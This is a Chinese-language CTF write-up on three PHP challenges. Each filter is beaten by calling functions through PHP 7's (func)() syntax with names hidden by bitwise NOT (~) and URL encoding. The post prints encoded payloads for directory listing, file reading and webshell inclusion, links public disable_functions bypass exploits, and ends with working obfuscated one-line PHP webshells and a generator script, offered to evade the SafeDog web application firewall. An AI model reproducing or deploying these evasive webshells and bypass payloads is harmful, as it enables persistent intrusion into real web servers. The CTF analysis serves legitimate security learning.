主要记录一下这两天遇到的题目,一道是基于P牛写的一篇文章修改的题目,另一道是WM&嘶吼主办的RoarCTF题目,在此详细的记录一下利用php7特性去绕过黑名单,顺便分享一下以此特性生成的过狗马
0x01
首先看一下P牛的那道题目
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
//$hint = "php function getFlag() to get flag"
}
根据题目就可以看出来,主要的目的就是让我们绕过正则匹配,之后执行getFlag()函数,这里P牛指出了一个思路,因为题目是基于php7的,我们可以根据php7的特性进行解题。
可以具体的分析一下,根据php官网所说的意思,与原来版本不同的是:
phpinfo() #php5、php7可执行
(phpinfo)() #php7可执行
所以在php7的环境中,我们可以使用编码转换等形式,将phpinfo转换成一些不可见字符再传入到题目中,这样不仅绕过了正则的匹配,也成功的执行了函数,这里进行编码转换的方式有很多种,常用的有“^”和“~”由于异或的字符较多,我比较习惯使用“~”(取1的补数)。
下面是生成方式,使用URL编码的原因是,在进行“~”运算时,经常会生成不可见字符。
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
尝试执行一下:
可以看到成功的执行了phpinfo函数,下一步就非常简单了,直接执行getFlag()函数即可。
$a = "getFlag";
echo urlencode(~$a);
%98%9A%8B%B9%93%9E%98 //getFlag
执行:
成功执行函数,获取到flag,这道题目到此就可以结束了。接着分析下一道
0x02
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
highlight_file(__FILE);
// ?>
这道题目时evoA师傅在极客大挑战中出的一道题目,相比上面的那道题目,这道题目不是简单的让我们去执行函数了,而是让我们通过限制,去进行目录查看执行命令等操作。仍然是用原来的方法,使用“~”
$a = "phpinfo";
echo urlencode(~$a);
%8F%97%8F%96%91%99%90 //phpinfo
执行一下phpinfo,查看一下被禁用的函数:
pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
ld
dl
可以发现我们常用的执行系统命令的函数都被禁掉了,不过不要紧,我们先尝试读取系统目录,这里使用scandir函数
print_r(scandir('./'));
进行编码操作
%8F%8D%96%91%8B%A0%8D # print_r
%8C%9C%9E%91%9B%96%8D # scandir
尝试读取当前目录
(~%8F%8D%96%91%8B%A0%8D)((~%8C%9C%9E%91%9B%96%8D)(("./")));
尝试获取根目录内容
发现了readflag和flag文件,尝试一下直接读取flag
readfile('/flag');
编码一下
%8D%9A%9E%9B%99%96%93%9A # readfile
%D0%99%93%9E%98 # /flag
尝试读取一下readflag文件
(~%8D%9A%9E%9B%99%96%93%9A)((~%D0%8D%9A%9E%9B%99%93%9E%98));
可以看出是一个二进制文件,我们需要执行/readflag文件来读取字符串,但是我们常用执行系统函数的方法都被禁止了,但是经过fuzz发现,php的assert函数没有被禁止,我们可以使用assert函数写shell
assert($_POST['a']);
编码一下
%9E%8C%8C%9A%8D%8B # assert
%DB%A0%AF%B0%AC%AB # $_POST
%9E # a
尝试一下
(~%9E%8C%8C%9A%8D%8B)((~%DB%A0%AF%B0%AC%AB)[(~%9E)]);
网页没有正常运行,继续尝试别的方法
在查看tmp目录下发现有其他内容
…某不知名大型跑马场,有现成的就很方便了,随便读一个shell看看内容
尝试文件包含一下
assert(include("hack.php"););
编码一下,执行命令
(~%9E%8C%8C%9A%8D%8B)((~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%97%9E%9C%94%D1%8F%97%8F%DD%D6%C4));
成功执行,使用蚁剑链接一下,上传我们的bypass脚本和拓展库,分享一下常用的两个
https://github.com/mm0r1/exploits/blob/master/php-json-bypass/exploit.php
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
这个过程就不演示了,主要就是演示一下最后的利用,包含我们上传的文件
assert(include("ssll.php"););
(~%9E%8C%8C%9A%8D%8B)(~%96%91%9C%93%8A%9B%9A%D7%DD%D0%8B%92%8F%D0%8C%8C%93%93%D1%8F%97%8F%DD%D6%C4);
执行命令
成功拿到了flag。有了前面两道题目的基础,我们继续研究最后一道题目
0x03
这道题目是W&M战队的师傅出的一道题目,还是很有意思的一道题目,方法有很多,我们还是用php7的特性去解决这道题目,这里使用的复现环境是glzjin老哥的buuoj.cn
题目地址:
http://85d76d27-ef73-4491-9f73-fab9db727f7e.node2.buuoj.cn.wetolink.com:82
访问题目
看到是一个类似计算器的页面,查看源码发现calc.php
访问页面发现是一个代码审计题目,依旧是绕过黑名单执行命令
与前面题目不同的是,题目只对一些特殊符号进行了过滤,首先测试绕过$str执行函数,这里有篇文章讲述了原理,我们执行在要输入的参数前加%20即空格,即可绕过WAF
https://www.freebuf.com/articles/web/213359.html?tdsourcetag=s_pcqq_aiomsg
尝试利用一下
成功执行phpinfo,下一步就是看一下能不能直接查看系统目录,使用:
print_r(scandir("./"));
因为黑名单中存在“/”,这里我们同样使用“~”去绕过
编码一下
print_r(scandir((~%D1%D0)));
成功获取当前页面的目录列表,下一步获取根目录列表
print_r(scandir((~%D0)));
发现f1agg文件,尝试读取一下
readfile((~%D0%99%CE%9E%98%98));
成功读取flag文件,以上就是使用php7特性去解决的三个问题,然后给大家分享一下,因为这几道题目获取到的灵感,从而写了几个过狗马
t00ls地址:
https://www.t00ls.net/articles-53304.html
下面是原文章
<?
$b=~urldecode('%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%C4');
$a=$b;
eval(/*echo*/($a));//password=a
?>
看一下执行效果:
检测结果,成功过狗
生成脚本,这里主要借用了P牛的思路
$c = 'eval($_POST[a]);';
echo urlencode(~$c);
思路主要就是借用“~”符号, “~”的主要作用为取1的补数,生成的不可见字符可以使用URL编码保存,这样检测时不会发现危险函数,也就不会发现我们的一句话木马啦
同样,还有“^”符号绕过
$a='999999999999999999999999'^urldecode('%5COXU%11%1DfivjmbXXXd%10%02');
eval(/*echo*/($a));//password=aaa
检测结果:
其他的过狗马等有思路就再出一篇文章(咕咕咕)
云影 says:
转载了师傅的文章,取反操作学到了,之前没有深入,感谢师傅的文章.